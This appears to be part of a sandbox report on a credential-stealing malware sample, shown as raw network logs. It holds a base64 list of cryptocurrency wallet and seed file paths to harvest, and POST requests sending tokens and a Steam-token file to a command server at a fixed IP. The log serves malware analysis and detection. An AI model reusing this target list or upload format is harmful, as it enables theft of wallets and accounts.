Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 28, 2024 06:27:30.969072104 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFIEHIEGDHIDGDGHDHJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 49 45 48 49 45 47 44 48 49 44 47 44 47 48 44 48 4a 2d 2d 0d 0a Data Ascii: ------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------DAFIEHIEGDHIDGDGHDHJContent-Disposition: form-data; name="message"files------DAFIEHIEGDHIDGDGHDHJ--
Oct 28, 2024 06:27:31.255685091 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:31.270127058 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFCBAEHCAEGDHJKFHJKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 42 41 45 48 43 41 45 47 44 48 4a 4b 46 48 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KFCBAEHCAEGDHJKFHJKFContent-Disposition: form-data; name="file"------KFCBAEHCAEGDHJKFHJKF--
Oct 28, 2024 06:27:32.048439980 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:32.076144934 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFID Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="message"ybncbhylepme------EHDBGDHDAECBGDHJKFID--
Oct 28, 2024 06:27:32.363024950 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 28, 2024 06:27:32.364464045 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIDAKFIJJKJJJKEBKJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 30 31 61 64 33 39 39 65 39 36 31 38 62 35 37 39 66 61 66 32 62 35 35 36 34 61 33 39 62 38 39 33 35 61 39 63 35 61 32 64 30 34 66 38 31 33 37 32 62 66 31 30 38 33 31 63 61 33 39 32 37 62 35 61 35 30 62 39 30 38 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 44 41 4b 46 49 4a 4a 4b 4a 4a 4a 4b 45 42 4b 4a 45 2d 2d 0d 0a Data Ascii: ------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="token"5b01ad399e9618b579faf2b5564a39b8935a9c5a2d04f81372bf10831ca3927b5a50b908------FHIDAKFIJJKJJJKEBKJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIDAKFIJJKJJJKEBKJE--
Oct 28, 2024 06:27:33.145518064 CET	202	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	142.250.186.100	443	7892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:10 UTC	615	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 05:27:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:27:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-KWfKTJmt8sXRJv5ThxnE5w' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 05:27:10 UTC	112	IN	Data Raw: 63 61 65 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 73 61 6e 20 66 72 61 6e 63 69 73 63 6f 20 34 39 65 72 73 22 2c 22 62 6c 61 63 6b 20 6f 70 73 20 73 61 66 65 20 63 6f 64 65 73 22 2c 22 62 6f 65 69 6e 67 20 73 74 72 69 6b 65 20 68 6f 74 20 6d 65 73 73 22 2c 22 64 61 79 6c 69 67 68 74 20 73 61 76 69 6e 67 20 74 69 6d 65 20 63 6c 6f 63 6b Data Ascii: cae)]}'["",["san francisco 49ers","black ops safe codes","boeing strike hot mess","daylight saving time clock
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 73 22 2c 22 77 68 65 6e 20 77 69 6c 6c 20 74 68 65 20 73 75 62 73 74 61 6e 63 65 20 62 65 20 73 74 72 65 61 6d 69 6e 67 22 2c 22 73 65 61 74 74 6c 65 20 73 65 61 68 61 77 6b 73 20 62 75 66 66 61 6c 6f 20 62 69 6c 6c 73 22 2c 22 70 6f 6b 65 6d 6f 6e 20 67 6f 20 67 69 67 61 6e 74 61 6d 61 78 20 70 6f 6b 65 6d 6f 6e 22 2c 22 61 6d 65 72 69 63 61 6e 20 61 69 72 6c 69 6e 65 73 20 66 6c 69 67 68 74 20 74 6f 20 62 72 69 73 62 61 6e 65 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f Data Ascii: s","when will the substance be streaming","seattle seahawks buffalo bills","pokemon go gigantamax pokemon","american airlines flight to brisbane"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwo
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 55 78 72 5a 54 4e 52 5a 79 74 45 4c 7a 52 7a 4e 44 56 54 59 58 4a 70 54 6a 42 73 52 48 42 53 53 47 74 43 64 56 64 73 4e 6c 41 79 52 69 38 33 4e 46 45 76 52 6d 35 34 54 6e 4a 4a 55 6b 52 79 5a 45 5a 76 64 55 63 33 55 6b 64 5a 4e 54 59 78 56 6e 42 48 55 55 34 30 52 55 52 49 64 44 59 33 52 32 63 78 65 54 56 6d 53 6c 45 76 53 7a 67 78 63 58 59 79 5a 58 42 47 64 6a 4e 33 4f 57 68 6d 57 6d 39 53 61 30 52 6a 63 31 46 46 4e 56 4e 4b 4d 31 52 7a 61 45 30 33 61 56 4a 57 53 54 51 33 56 6b 51 77 52 6a 46 46 65 6d 5a 4e 61 55 4e 6c 61 30 46 68 61 56 5a 56 59 6d 5a 70 4e 30 31 4a 52 6d 74 71 4e 32 78 30 54 79 74 57 57 45 31 48 4d 6e 52 73 62 32 6c 51 4e 46 52 77 4d 47 35 33 54 57 4a 49 54 6c 5a 4c 65 54 6c 57 54 30 5a 53 65 6c 64 32 64 30 4a 70 4b 31 70 79 61 47 6b 31 Data Ascii: UxrZTNRZytELzRzNDVTYXJpTjBsRHBSSGtCdVdsNlAyRi83NFEvRm54TnJJUkRyZEZvdUc3UkdZNTYxVnBHUU40RURIdDY3R2cxeTVmSlEvSzgxcXYyZXBGdjN3OWhmWm9Sa0Rjc1FFNVNKM1RzaE03aVJWSTQ3VkQwRjFFemZNaUNla0FhaVZVYmZpN01JRmtqN2x0TytWWE1HMnRsb2lQNFRwMG53TWJITlZLeTlWT0ZSeld2d0JpK1pyaGk1
2024-10-28 05:27:10 UTC	385	IN	Data Raw: 4f 52 30 51 77 52 57 6b 31 54 33 70 47 54 6b 6c 4c 4d 48 4a 4e 55 7a 67 30 63 31 52 7a 4e 56 68 4e 54 45 5a 4e 54 46 4e 76 52 30 46 4b 62 48 56 44 61 48 64 77 42 77 5c 75 30 30 33 64 5c 75 30 30 33 64 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 Data Ascii: OR0QwRWk1T3pGTklLMHJNUzg0c1RzNVhNTEZNTFNvR0FKbHVDaHdwBw\u003d\u003d","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:sugges
2024-10-28 05:27:10 UTC	76	IN	Data Raw: 34 36 0d 0a 22 3a 5b 22 45 4e 54 49 54 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 2c 22 51 55 45 52 59 22 5d 7d 5d 0d 0a Data Ascii: 46":["ENTITY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]
2024-10-28 05:27:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	142.250.186.100	443	7892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:27:10 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCJDKzQEIucrNAQii0c0BCIrTzQEIntbNAQin2M0BCPnA1BUY9snNARi60s0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 05:27:10 UTC	1042	IN	HTTP/1.1 200 OK Version: 689118238 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 28 Oct 2024 05:27:10 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-28 05:27:10 UTC	336	IN	Data Raw: 31 63 65 66 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1cef)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-28 05:27:10 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
